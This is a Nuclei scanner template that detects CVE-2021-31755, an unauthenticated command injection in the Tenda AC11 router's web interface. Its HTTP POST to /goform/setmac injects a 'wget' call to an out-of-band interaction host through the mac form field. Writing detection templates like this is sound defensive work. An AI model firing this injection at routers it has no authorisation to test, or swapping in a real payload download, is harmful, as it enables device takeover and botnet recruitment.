CVE-2021-31755: Tenda Router AC11 - Remote Command Injection

id: CVE-2021-31755

info:
  name: Tenda Router AC11 - Remote Command Injection
  author: gy741
  severity: critical
  description: Tenda Router AC11  is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router.
  remediation: |
    Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755).
  reference:
    - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3
    - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31755
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/Yu3H0/IoT_CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31755
    cwe-id: CWE-787
    epss-score: 0.9423
    epss-percentile: 0.99921
    cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tenda
    product: ac11_firmware
  tags: cve2021,cve,tenda,rce,oast,router,mirai,kev

http:
  - raw:
      - |
        POST /goform/setmac HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/index.htmlr
        Content-Type: application/x-www-form-urlencoded

        module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a004830460221008b886d941d49421281fe80d15dad63e09e5cda69883365e4336612a289b8d1b3022100d90e081278b14a35d0a3b5fabf24b31c194cfe1df0839502df45666e35d1ca0f:922c64590222798bb761d5b6d8e72950